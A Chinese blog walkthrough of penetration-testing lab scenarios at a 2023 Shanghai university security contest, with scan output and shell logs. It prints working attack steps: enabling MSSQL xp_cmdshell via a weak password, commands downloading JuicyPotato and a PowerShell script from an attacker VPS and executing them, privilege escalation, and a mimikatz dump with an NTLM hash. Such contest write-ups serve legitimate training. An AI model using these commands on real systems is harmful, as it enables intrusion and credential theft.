第八届上海市大学生网络安全大赛
暨“磐石行动”2023(首届)大学生网络安全邀请赛
—— CTF比赛
2023.5.20 9:00 - 21:00
—— 漏洞挖掘比赛
2023.5.21 00:00 - 2023.5.22 24:00
CTF 比赛的 Writeup 可以参考喵喵的上一篇文章:
2023年第八届上海市大学生网络安全大赛 / 磐石行动 CTF WriteUp
今年的上海市赛新加了漏洞挖掘环节,实际上是给了四套自带内网的靶场让选手打渗透,两天打下来感觉还是挺坑的,这篇就来记录下渗透挖洞的过程吧。
既然是Workthrough,那文中必然有不少走错路的时候,说不定还有写得不对的地方,师傅们看的时候就当听故事好了(哈哈)
notice
关于flag内容
并非所有容器都有flag,有flag的服务器linux系统存放在/root/目录下,windows系统存放在桌面目录下,仅 <漏洞挖掘场景3> 中,有一个flag存放位置不在上述目录,可通过find查找到flag文件。
请各位选手注意,场景在完成全部作答后在平台中题目上会显示已解决图标,若没有完成全部作答则说明还没有获取全部答案,需要继续进行!
另外漏洞挖掘赛场景总共就4套 不会再发布其他题目 题目里面一台机器就一个flag 根据平台公告内容 如果不在指定位置就是没有flag 继续玩下去找 一个场景里面含有3-6台服务器
关于赛题难度
赛题难度排序为(由高至低):场景3->场景2->场景4->场景1
关于赛题场景内数量
以下为场景及flag数量信息;
场景1:3台服务器,2个flag;场景2:6台服务器,4个flag;场景3:6台服务器,4个flag;场景4:4台服务器,3个flag关于场景3的flag公告
场景3的flag仅最后一个需要find,其他flag都在可见位置。
不知道是不是第一年办漏洞挖掘比赛的原因,其实感觉挺坑的,第一天比赛的时候都不透露每个场景里有多少机器以及多少个flag,而且不是拿下了一台机器就一定有flag,就得硬猜。
于是第一天凌晨喵喵在看场景3的时候日了入口机器,他公告写了 有个flag不在默认目录要自己find,但是喵喵找死找不到flag,直到比赛第二天快结束了才说不在指定位置就是这台机器没有 flag,人麻了。。
由于文章写得有点长,干脆拆分成了上下篇,这一篇主要写一下场景1和场景3的挖洞渗透的过程哈!
(icmp) Target 10.103.83.172 is alive
[*] Icmp alive hosts len is: 1
10.103.83.172:1433 open
10.103.83.172:445 open
10.103.83.172:139 open
[*] alive ports len is: 3
start vulscan
[+] mssql:10.103.83.172:1433:sa P@ssw0rd
入口 192.168.33.175 MSSQL
MSSQL 弱口令,连上去
Microsoft SQL Server 2016 (SP1) (KB3182545) - 13.0.4001.0 (X64)
Oct 28 2016 18:17:30
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows Server 2016 Datacenter 6.3 <X64> (Build 14393: ) (Hypervisor)
开始 xp_cmdshell 扩展功能
use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
##1开启,0关闭,关闭时从xp_cmdshell ---> options依次关闭
use master;
exec master..xp_cmdshell "whoami";
nt service\mssqlserver
用户信息
----------------
用户名 SID
====================== ===============================================================
nt service\mssqlserver S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
组信息
-----------------
组名 类型 SID 属性
==================================== ====== ============ ==============================
Mandatory Label\High Mandatory Level 标签 S-1-16-12288
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Performance Monitor Users 别名 S-1-5-32-558 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\SERVICE 已知组 S-1-5-6 必需的组, 启用于默认, 启用的组
CONSOLE LOGON 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT SERVICE\ALL SERVICES 已知组 S-1-5-80-0 必需的组, 启用于默认, 启用的组
特权信息
----------------------
特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
network
以太网适配器 以太网 2:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::1d49:a11d:9b36:4dcf%12
IPv4 地址 . . . . . . . . . . . . : 10.103.83.172
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . : 10.103.0.1
以太网适配器 以太网 3:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::f590:57fd:c34:f5f4%2
IPv4 地址 . . . . . . . . . . . . : 192.168.33.175
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
活动连接
协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 716
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 2644
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 820
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 436
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 940
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1604
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 828
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 1476
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 572
TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 564
TCP 10.103.83.172:139 0.0.0.0:0 LISTENING 4
TCP 10.103.83.172:1433 10.103.0.1:61428 ESTABLISHED 2644
TCP 10.103.83.172:1433 10.103.0.1:61439 ESTABLISHED 2644
TCP 10.103.83.172:1433 10.103.0.1:61440 ESTABLISHED 2644
TCP 10.103.83.172:1433 10.103.0.1:61442 ESTABLISHED 2644
TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING 2644
TCP 192.168.33.175:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 716
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:1433 [::]:0 LISTENING 2644
TCP [::]:3389 [::]:0 LISTENING 820
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 436
TCP [::]:49665 [::]:0 LISTENING 940
TCP [::]:49666 [::]:0 LISTENING 1604
TCP [::]:49667 [::]:0 LISTENING 828
TCP [::]:49668 [::]:0 LISTENING 1476
TCP [::]:49669 [::]:0 LISTENING 572
TCP [::]:49670 [::]:0 LISTENING 564
TCP [::1]:1434 [::]:0 LISTENING 2644
UDP 0.0.0.0:123 *:* 284
UDP 0.0.0.0:500 *:* 828
UDP 0.0.0.0:3389 *:* 820
UDP 0.0.0.0:4500 *:* 828
UDP 0.0.0.0:5050 *:* 284
UDP 0.0.0.0:5353 *:* 756
UDP 0.0.0.0:5355 *:* 756
UDP 10.103.83.172:137 *:* 4
UDP 10.103.83.172:138 *:* 4
UDP 192.168.33.175:137 *:* 4
UDP 192.168.33.175:138 *:* 4
UDP [::]:123 *:* 284
UDP [::]:500 *:* 828
UDP [::]:3389 *:* 820
UDP [::]:4500 *:* 828
UDP [::]:5353 *:* 756
UDP [::]:5355 *:* 756
tasklist
映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 0 4 K
System 4 0 128 K
smss.exe 268 0 1,128 K
csrss.exe 364 0 3,924 K
wininit.exe 436 0 4,932 K
csrss.exe 444 1 3,588 K
winlogon.exe 496 1 12,696 K
services.exe 564 0 6,928 K
lsass.exe 572 0 14,736 K
svchost.exe 656 0 13,380 K
svchost.exe 716 0 8,048 K
svchost.exe 820 0 13,440 K
svchost.exe 828 0 44,628 K
dwm.exe 880 1 29,648 K
svchost.exe 908 0 17,252 K
svchost.exe 940 0 14,380 K
svchost.exe 284 0 16,096 K
svchost.exe 756 0 19,720 K
svchost.exe 784 0 6,988 K
svchost.exe 560 0 15,700 K
svchost.exe 1476 0 6,676 K
spoolsv.exe 1604 0 15,148 K
svchost.exe 1688 0 18,100 K
svchost.exe 1748 0 8,100 K
dllhost.exe 1788 0 7,524 K
qemu-ga.exe 1800 0 8,456 K
MsMpEng.exe 1836 0 74,928 K
sqlwriter.exe 1860 0 7,504 K
dllhost.exe 1424 0 12,448 K
msdtc.exe 2252 0 9,468 K
sqlceip.exe 2636 0 55,028 K
sqlservr.exe 2644 0 262,412 K
LogonUI.exe 1996 1 41,476 K
MpCmdRun.exe 2904 0 7,860 K
cmd.exe 3804 0 2,784 K
conhost.exe 1624 0 9,580 K
tasklist.exe 2764 0 7,780 K
WmiPrvSE.exe 3872 0 8,492 K
有 Windows defender
JuicePotato 提权
exec master..xp_cmdshell 'powershell -Command "Invoke-WebRequest http://vpsip:12345/JuicyPotato.exe -OutFile C:\Users\Public\2.exe"';
rce 的命令放下面了,就是将命令写进 1.bat 文件,然后启动该 bat
对应的 3.exe 来自
https://www.cnblogs.com/J0o1ey/p/15714555.html
use master;
-- exec master..xp_cmdshell 'powershell -Command "Invoke-WebRequest http://VPSIP:PORT/1.ps1 -OutFile C:\Users\Public\1.ps1"';
-- exec master..xp_cmdshell 'powershell -Command "powershell -ep bypass C:\Users\Public\1.ps1"';
-- exec master..xp_cmdshell 'C:\Users\public\2.exe -t * -p c:\windows\system32\cmd.exe -l 9003 -c {0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"';
exec master..xp_cmdshell 'echo dir > C:\Users\Public\1.bat'
exec master..xp_cmdshell 'type C:\Users\Public\1.bat'
exec master..xp_cmdshell 'C:\Users\public\3.exe -p "C:\Users\Public\1.bat" -c {0134A8B2-3407-4B45-AD25-E9F7C92A80BC}';
修改密码之后登录进去找 flag,发现找不到
rdp 连上去
start infoscan
(icmp) Target 192.168.33.175 is alive
(icmp) Target 192.168.33.174 is alive
[*] Icmp alive hosts len is: 2
192.168.33.175:135 open
192.168.33.174:445 open
192.168.33.175:1433 open
192.168.33.175:445 open
192.168.33.174:139 open
192.168.33.174:135 open
192.168.33.175:139 open
[*] alive ports len is: 7
start vulscan
[*] NetInfo:
[*]192.168.33.174
[->]PC01
[->]10.177.166.21
[->]192.168.33.174
[*] NetBios: 192.168.33.174 CTF1\PC01
[+] mssql:192.168.33.175:1433:sa P@ssw0rd
>arp -a
接口: 192.168.33.175 --- 0x2
Internet 地址 物理地址 类型
192.168.33.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
接口: 10.103.83.172 --- 0xc
Internet 地址 物理地址 类型
10.103.0.1 f8-bc-12-31-8a-5d 动态
10.103.3.127 52-54-48-6c-b2-d1 动态
10.103.6.19 52-54-5f-0e-53-f2 动态
10.103.8.47 52-54-35-43-f6-86 动态
10.103.13.192 52-54-53-48-e6-d3 动态
10.103.35.44 52-54-55-0d-75-79 动态
10.103.37.229 52-54-65-54-a4-d5 动态
10.103.41.38 52-54-3c-12-1c-8e 动态
10.103.46.254 52-54-61-57-be-c9 动态
10.103.64.229 52-54-52-52-9b-72 动态
10.103.75.171 52-54-48-36-8b-6c 动态
10.103.80.18 52-54-4c-34-ae-fd 动态
10.103.86.229 52-54-0c-79-0e-cf 动态
10.103.91.186 52-54-73-61-37-db 动态
10.103.108.161 52-54-4e-35-3b-99 动态
10.103.128.128 52-54-39-60-bf-35 动态
10.103.129.15 52-54-47-27-0b-37 动态
10.103.141.136 52-54-65-4e-51-10 动态
10.103.144.229 52-54-15-4c-14-82 动态
10.103.151.28 52-54-6a-40-99-88 动态
10.103.159.87 52-54-61-3c-37-c3 动态
10.103.169.105 52-54-70-41-c6-a5 动态
10.103.177.11 52-54-45-14-b5-d9 动态
10.103.186.157 52-54-3f-5a-0d-80 动态
10.103.205.174 52-54-35-1f-8d-73 动态
10.103.206.84 52-54-6c-34-d5-98 动态
10.103.209.123 52-54-59-67-4d-4b 动态
10.103.215.14 52-54-4f-6c-aa-ba 动态
10.103.216.75 52-54-28-26-b5-b1 动态
10.103.224.15 52-54-36-60-d7-36 动态
10.103.234.138 52-54-22-6c-0d-9e 动态
10.103.234.181 52-54-01-70-01-02 动态
10.103.238.167 52-54-1c-2e-da-6f 动态
10.103.241.244 52-54-0d-6f-34-f2 动态
10.103.255.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
192.168.33.175/24 is Valid CIDR
IPCound: 256
Scan Start: 2023-05-22 03:21:34
SMB: 192.168.33.175 WIN-FGHCOKNHM7P (Win2016-Datacenter-14393 10.0.14393 Win 10, 1607) Domain:WIN-FGHCOKNHM7P Dns:WIN-FGHCOKNHM7P SMBSigning:False
SMB: 192.168.33.174 PC01 (Win 10, 2004 10.0.19041) Domain:CTF1 Dns:ctf1.idss SMBSigning:False
NBT: 192.168.33.174 PC01 52-54-6B-4D-3E-31 CTF1
WMI: 192.168.33.174 PC01 (Win 10, 2004 X64 10.0.19041) Domain:CTF1 Dns:ctf1.idss
Winrm 192.168.33.175 WIN-FGHCOKNHM7P (Win 2016 10.0.14393) Domain:WIN-FGHCOKNHM7P Dns:WIN-FGHCOKNHM7P
WMI: 192.168.33.175 WIN-FGHCOKNHM7P (Win 2016 X64 10.0.14393) Domain:WIN-FGHCOKNHM7P Dns:WIN-FGHCOKNHM7P
DNS: 192.168.33.175 WIN-FGHCOKNHM7P
DNS: 192.168.33.174 PC01
RDP: 192.168.33.175 Win10/Win2016
MSSQL 192.168.33.175 WIN-FGHCOKNHM7P (Win 2016 10.0.14393) Domain:WIN-FGHCOKNHM7P Dns:WIN-FGHCOKNHM7P
RDP: 192.168.33.174 Win10/Win2016
HTTPS 192.168.33.175 WIN-FGHCOKNHM7P [] []
HTTPS 192.168.33.174 PC01 [] []
SMB: 192.168.33.175 WIN-FGHCOKNHM7P (Win2016-Datacenter-14393 10.0.14393 Win 10, 1607) Domain:WIN-FGHCOKNHM7P Signing:False
Error: http://192.168.33.175 无法连接到远程服务器
Error: http://192.168.33.175 无法连接到远程服务器
Error: http://192.168.33.175 无法连接到远程服务器
Struts2Check [S2-016] http://192.168.33.175
Error: http://192.168.33.175 未将对象引用设置到对象的实例。
Error: http://192.168.33.175 无法连接到远程服务器
Error: http://192.168.33.174 无法连接到远程服务器
Error: http://192.168.33.175 无法连接到远程服务器
Struts2Check [S2-DevMode] http://192.168.33.175
Error: http://192.168.33.174 无法连接到远程服务器
Error: http://192.168.33.175 未将对象引用设置到对象的实例。
Error: http://192.168.33.174 无法连接到远程服务器
Struts2Check [S2-016] http://192.168.33.174
Error: http://192.168.33.174 未将对象引用设置到对象的实例。
Error: http://192.168.33.174 无法连接到远程服务器
Error: http://192.168.33.174 无法连接到远程服务器
Struts2Check [S2-DevMode] http://192.168.33.174
Error: http://192.168.33.174 未将对象引用设置到对象的实例。
=============================================
OnlinePC:2
Cidr Scan Finished!
mimikatz
mimikatz(commandline) # sekurlsa::logonpasswords full
...
Authentication Id : 0 ; 85624 (00000000:00014e78)
Session : Service from 0
User Name : SQLTELEMETRY
Domain : NT Service
Logon Server : (null)
Logon Time : 2023/5/22 3:47:09
SID : S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : SQLTELEMETRY
* Domain : NT Service
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 55853 (00000000:0000da2d)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2023/5/22 3:47:07
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 55817 (00000000:0000da09)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2023/5/22 3:47:07
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-FGHCOKNHM7P$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2023/5/22 3:47:06
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-fghcoknhm7p$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 26460 (00000000:0000675c)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2023/5/22 3:47:06
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 1955463 (00000000:001dd687)
Session : RemoteInteractive from 3
User Name : root
Domain : WIN-FGHCOKNHM7P
Logon Server : WIN-FGHCOKNHM7P
Logon Time : 2023/5/22 3:52:56
SID : S-1-5-21-1647943479-1973672040-3450735074-1003
msv :
[00000003] Primary
* Username : root
* Domain : WIN-FGHCOKNHM7P
* NTLM : 4ffda97268f45d1e96a3e5a05ba038b8
* SHA1 : 4694ea6285062a9c5ce6ecf58fbb779a0e508492
tspkg :
wdigest :
* Username : root
* Domain : WIN-FGHCOKNHM7P
* Password : (null)
kerberos :
* Username : root
* Domain : WIN-FGHCOKNHM7P
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 355158 (00000000:00056b56)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2023/5/22 3:50:53
SID : S-1-5-90-0-2
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 84721 (00000000:00014af1)
Session : Service from 0
User Name : MSSQLSERVER
Domain : NT Service
Logon Server : (null)
Logon Time : 2023/5/22 3:47:09
SID : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : MSSQLSERVER
* Domain : NT Service
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2023/5/22 3:47:07
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN-FGHCOKNHM7P$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2023/5/22 3:47:06
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN-FGHCOKNHM7P$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-fghcoknhm7p$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
root是我们加进去的,抓不到Administrator的?
重新开了台试试
use master;
exec master..xp_cmdshell 'echo C:\Users\MSSQLSERVER\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > C:\Users\Public\1.bat'
exec master..xp_cmdshell 'C:\Users\public\3.exe -p "C:\Users\Public\1.bat" -c {0134A8B2-3407-4B45-AD25-E9F7C92A80BC}';
啥也没有啊,摸了
感觉内网这台Win10 192.168.33.174 PC01应该是借助175这台入口机器的密码或者哈希横向过去,用PsExec之类的工具吧。
但是不懂为啥没抓到hash,麻了
赛后发现是确实是抓 Administrator 的 hash,然后 hash 传递过去。。第一个 flag 在 174 win10 上,而他在域里,还有一台在 174 机器的另一个子网下,需要爆破域用户的密码然后借助 CVE 横向过去
不过没时间赶不上复现了,摸!
(icmp) Target 10.103.164.235 is alive
[*] Icmp alive hosts len is: 1
10.103.164.235:22 open
10.103.164.235:7001 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle:http://10.103.164.235:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan:http://10.103.164.235:7001 [weblogic]
经典 weblogic,直接工具一把梭哈
CVE_2020_2551
# pwd
/home/weblogic/Oracle/Middleware/user_projects/domains/base_domain
# ls -al ../../../coherence_3.7/
total 16
drwxrwxr-x. 6 weblogic weblogic 121 Apr 23 07:26 .
drwxrwxr-x. 8 weblogic weblogic 204 Apr 23 07:29 ..
drwxr-x---. 2 weblogic weblogic 265 Apr 23 07:25 bin
-rw-rw-r--. 1 weblogic weblogic 38 Apr 23 07:26 .home
drwxrwxr-x. 3 weblogic weblogic 25 Apr 23 07:26 inventory
drwxrwxr-x. 3 weblogic weblogic 4096 Apr 23 07:25 lib
-rw-rw-r--. 1 weblogic weblogic 339 Apr 23 07:26 .product.properties
-rw-rw-r--. 1 weblogic weblogic 97 Apr 23 07:25 product.xml
drwxrwxr-x. 2 weblogic weblogic 31 Apr 23 07:26 uninstall
# ls -al ../../../coherence_3.7/bin
drwxr-x---. 2 weblogic weblogic 265 Apr 23 07:25 .
drwxrwxr-x. 6 weblogic weblogic 121 Apr 23 07:26 ..
-rw-rw-r--. 1 weblogic weblogic 831 Apr 23 07:25 cache-server.cmd
-rw-rw-r--. 1 weblogic weblogic 1003 Apr 23 07:25 cache-server.sh
-rw-rw-r--. 1 weblogic weblogic 1165 Apr 23 07:25 coherence.cmd
-rw-rw-r--. 1 weblogic weblogic 1340 Apr 23 07:25 coherence.sh
-rw-rw-r--. 1 weblogic weblogic 574 Apr 23 07:25 datagram-test.cmd
-rw-rw-r--. 1 weblogic weblogic 691 Apr 23 07:25 datagram-test.sh
-rw-rw-r--. 1 weblogic weblogic 583 Apr 23 07:25 multicast-test.cmd
-rw-rw-r--. 1 weblogic weblogic 694 Apr 23 07:25 multicast-test.sh
-rw-rw-r--. 1 weblogic weblogic 546 Apr 23 07:25 optimize.reg
-rw-rw-r--. 1 weblogic weblogic 1108 Apr 23 07:25 query.cmd
-rw-rw-r--. 1 weblogic weblogic 1208 Apr 23 07:25 query.sh
-rw-rw-r--. 1 weblogic weblogic 976 Apr 23 07:25 readme.txt
# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 May20 ? 00:00:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 21
root 2 0 0 May20 ? 00:00:00 [kthreadd]
root 4 2 0 May20 ? 00:00:00 [kworker/0:0H]
root 5 2 0 May20 ? 00:00:00 [kworker/u4:0]
root 6 2 0 May20 ? 00:00:00 [ksoftirqd/0]
root 7 2 0 May20 ? 00:00:00 [migration/0]
root 8 2 0 May20 ? 00:00:00 [rcu_bh]
root 9 2 0 May20 ? 00:00:00 [rcu_sched]
root 10 2 0 May20 ? 00:00:00 [lru-add-drain]
root 11 2 0 May20 ? 00:00:00 [watchdog/0]
root 12 2 0 May20 ? 00:00:00 [watchdog/1]
root 13 2 0 May20 ? 00:00:00 [migration/1]
root 14 2 0 May20 ? 00:00:00 [ksoftirqd/1]
root 16 2 0 May20 ? 00:00:00 [kworker/1:0H]
root 18 2 0 May20 ? 00:00:00 [kdevtmpfs]
root 19 2 0 May20 ? 00:00:00 [netns]
root 20 2 0 May20 ? 00:00:00 [khungtaskd]
root 21 2 0 May20 ? 00:00:00 [writeback]
root 22 2 0 May20 ? 00:00:00 [kintegrityd]
root 23 2 0 May20 ? 00:00:00 [bioset]
root 24 2 0 May20 ? 00:00:00 [bioset]
root 25 2 0 May20 ? 00:00:00 [bioset]
root 26 2 0 May20 ? 00:00:00 [kblockd]
root 27 2 0 May20 ? 00:00:00 [md]
root 28 2 0 May20 ? 00:00:00 [edac-poller]
root 29 2 0 May20 ? 00:00:00 [watchdogd]
root 36 2 0 May20 ? 00:00:00 [kswapd0]
root 37 2 0 May20 ? 00:00:00 [ksmd]
root 38 2 0 May20 ? 00:00:00 [khugepaged]
root 39 2 0 May20 ? 00:00:00 [crypto]
root 47 2 0 May20 ? 00:00:00 [kthrotld]
root 48 2 0 May20 ? 00:00:00 [kworker/u4:1]
root 49 2 0 May20 ? 00:00:00 [kmpath_rdacd]
root 50 2 0 May20 ? 00:00:00 [kaluad]
root 52 2 0 May20 ? 00:00:00 [kpsmoused]
root 53 2 0 May20 ? 00:00:00 [kworker/0:2]
root 54 2 0 May20 ? 00:00:00 [ipv6_addrconf]
root 67 2 0 May20 ? 00:00:00 [deferwq]
root 120 2 0 May20 ? 00:00:00 [kauditd]
root 201 2 0 May20 ? 00:00:00 [rpciod]
root 202 2 0 May20 ? 00:00:00 [xprtiod]
root 263 2 0 May20 ? 00:00:00 [ata_sff]
root 276 2 0 May20 ? 00:00:00 [scsi_eh_0]
root 277 2 0 May20 ? 00:00:00 [scsi_tmf_0]
root 279 2 0 May20 ? 00:00:00 [scsi_eh_1]
root 280 2 0 May20 ? 00:00:00 [kworker/1:1H]
root 282 2 0 May20 ? 00:00:00 [scsi_tmf_1]
root 294 2 0 May20 ? 00:00:00 [bioset]
root 295 2 0 May20 ? 00:00:00 [xfsalloc]
root 296 2 0 May20 ? 00:00:00 [xfs_mru_cache]
root 297 2 0 May20 ? 00:00:00 [xfs-buf/vda1]
root 298 2 0 May20 ? 00:00:00 [xfs-data/vda1]
root 299 2 0 May20 ? 00:00:00 [xfs-conv/vda1]
root 300 2 0 May20 ? 00:00:00 [xfs-cil/vda1]
root 301 2 0 May20 ? 00:00:00 [xfs-reclaim/vda]
root 302 2 0 May20 ? 00:00:00 [xfs-log/vda1]
root 303 2 0 May20 ? 00:00:00 [xfs-eofblocks/v]
root 304 2 0 May20 ? 00:00:00 [xfsaild/vda1]
root 305 2 0 May20 ? 00:00:00 [kworker/0:1H]
root 403 1 0 May20 ? 00:00:00 /usr/lib/systemd/systemd-journald
root 440 1 0 May20 ? 00:00:00 /usr/lib/systemd/systemd-udevd
root 472 1 0 May20 ? 00:00:00 /sbin/auditd
root 478 2 0 May20 ? 00:00:00 [hwrng]
root 538 2 0 May20 ? 00:00:00 [ttm_swap]
root 552 2 0 May20 ? 00:00:00 [kvm-irqfd-clean]
polkitd 554 1 0 May20 ? 00:00:00 /usr/lib/polkit-1/polkitd --no-debug
root 556 1 0 May20 ? 00:00:00 /usr/bin/qemu-ga --method=virtio-serial --path=/dev/virtio-ports/org.qemu.guest_agent.0 --blacklist=guest-file-open,guest-file-close,guest-file-read,guest-file-write,guest-file-seek,guest-file-flush,guest-exec,guest-exec-status -F/etc/qemu-ga/fsfreeze-hook
rpc 557 1 0 May20 ? 00:00:00 /sbin/rpcbind -w
root 566 1 0 May20 ? 00:00:00 /usr/sbin/sshd -D
root 568 1 0 May20 ? 00:00:00 /usr/sbin/rsyslogd -n
root 571 1 0 May20 ? 00:00:00 /usr/sbin/irqbalance --foreground
root 585 1 0 May20 ? 00:00:00 /usr/sbin/gssproxy -D
dbus 586 1 0 May20 ? 00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root 587 1 0 May20 ? 00:00:00 /bin/sh /home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/startWebLogic.sh
chrony 595 1 0 May20 ? 00:00:00 /usr/sbin/chronyd
root 596 587 0 May20 ? 00:00:00 /bin/sh /home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/bin/startWebLogic.sh
root 616 1 0 May20 ? 00:00:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root 618 1 0 May20 ? 00:00:00 /usr/lib/systemd/systemd-logind
root 683 1 0 May20 ? 00:00:00 /usr/sbin/crond -n
root 691 1 0 May20 tty1 00:00:00 /sbin/agetty --noclear tty1 linux
root 693 1 0 May20 ttyS0 00:00:00 /sbin/agetty --keep-baud 115200,38400,9600 ttyS0 vt220
root 800 596 0 May20 ? 00:00:17 /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64/bin/java -Xms512m -Xmx512m -Dweblogic.Name=AdminServer -Djava.security.policy=/home/weblogic/Oracle/Middleware/wlserver_10.3/server/lib/weblogic.policy -da -Dplatform.home=/home/weblogic/Oracle/Middleware/wlserver_10.3 -Dwls.home=/home/weblogic/Oracle/Middleware/wlserver_10.3/server -Dweblogic.home=/home/weblogic/Oracle/Middleware/wlserver_10.3/server -Dweblogic.management.discover=true -Dwlw.iterativeDev= -Dwlw.testConsole= -Dwlw.logErrorsToConsole= -Dweblogic.ext.dirs=/home/weblogic/Oracle/Middleware/patch_wls1036/profiles/default/sysext_manifest_classpath:/home/weblogic/Oracle/Middleware/patch_ocp371/profiles/default/sysext_manifest_classpath weblogic.Server
root 817 1 0 May20 ? 00:00:00 /usr/libexec/postfix/master -w
postfix 827 817 0 May20 ? 00:00:00 pickup -l -t unix -u
postfix 828 817 0 May20 ? 00:00:00 qmgr -l -t unix -u
root 986 2 0 May20 ? 00:00:00 [dio/vda1]
root 1305 2 0 00:01 ? 00:00:00 [kworker/0:1]
find / -mtime -30 -type f -exec grep "flag{" {} +
找不到 flag 在哪,人麻了
